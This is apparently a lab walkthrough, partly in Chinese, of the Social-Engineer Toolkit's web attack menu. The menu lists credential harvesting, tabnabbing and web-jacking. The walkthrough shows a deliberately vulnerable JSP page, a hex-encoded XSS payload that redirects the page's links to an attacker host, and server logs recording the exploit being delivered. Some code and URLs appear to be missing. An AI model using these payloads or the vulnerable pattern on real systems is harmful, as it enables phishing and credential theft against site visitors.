The Web Attack module is a unique way of utilizing multiple web-based attacks
in order to compromise the intended victim.
The Java Applet Attack method will spoof a Java Certificate and deliver a
metasploit based payload. Uses a customized java applet created by Thomas
Werth to deliver the payload.
The Metasploit Browser Exploit method will utilize select Metasploit
browser exploits through an iframe and deliver a Metasploit payload.
The Credential Harvester method will utilize web cloning of a web-
site that has a username and password field and harvest all the
information posted to the website.
The TabNabbing method will wait for a user to move to a different
tab, then refresh the page to something different.
The Man Left in the Middle Attack method was introduced by Kos and
utilizes HTTP REFERER's in order to intercept fields and harvest
data from them. You need to have an already vulnerable site and in-
corporate <script src="http://YOURIP/">. This could either be from a
compromised site or through XSS.
The Web-Jacking Attack method was introduced by white_sheep, Emgent
and the Back|Track team. This method utilizes iframe replacements to
make the highlighted URL link to appear legitimate however when clicked
a window pops up then is replaced with the malicious link. You can edit
the link replacement settings in the set_config if its too slow/fast.
The Multi-Attack method will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing, and the Man Left in the Middle attack
all at once to see which is successful.
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Man Left in the Middle Attack Method
6) Web Jacking Attack Method
7) Multi-Attack Web Method
8) Victim Web Profiler
9) Create or import a CodeSigning Certificate
99) Return to Main Menu

然后，我制作了网页xss.jsp：
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>

String name = request.getParameter("name");

访问URL：

后面那些看不懂的东西，其实是：
<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://192.168.1.11/";}</script>
我把它从ASCII转变成了十六进制表示。
192.168.1.109是XP，192.168.1.11是BT5。
在XP上访问URL，如图所示：
看到上面的地址栏，js是明文的，但是如果是IE，则不是。
Visit here的URL如下：
现在点击“Visit here”，如图：
在BT上输出如下：
[-] Incoming connection from 192.168.1.142 192.168.1.142 - - [28/Apr/2013 06:14:45] "GET / HTTP/1.1" 200 - [-] Grabbing payload from http://192.168.1.109:8080/xss/xss.jsp?name=yang%3C%73%63%72%69%70%74%3E%77%69%6E%64%6F%77%2E%6F%6E%6C%6F%61%64%20%3D%20%66%75%6E%63%74%69%6F%6E%28%29%20%7B%76%61%72%20%6C%69%6E%6B%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%22%61%22%29%3B%6C%69%6E%6B%5B%30%5D%2E%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%2E%31%31%2F%22%3B%7D%3C%2F%73%63%72%69%70%74%3E [-] Exploit sent to 192.168.1.142
但是，如果没有referer，那么BT5会输出：
[-] Incoming connection from 192.168.1.142 [!] No referer
背景知识：
HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器我是从哪个页面链接过来的，服务器籍此可以获得一些信息用于处理。
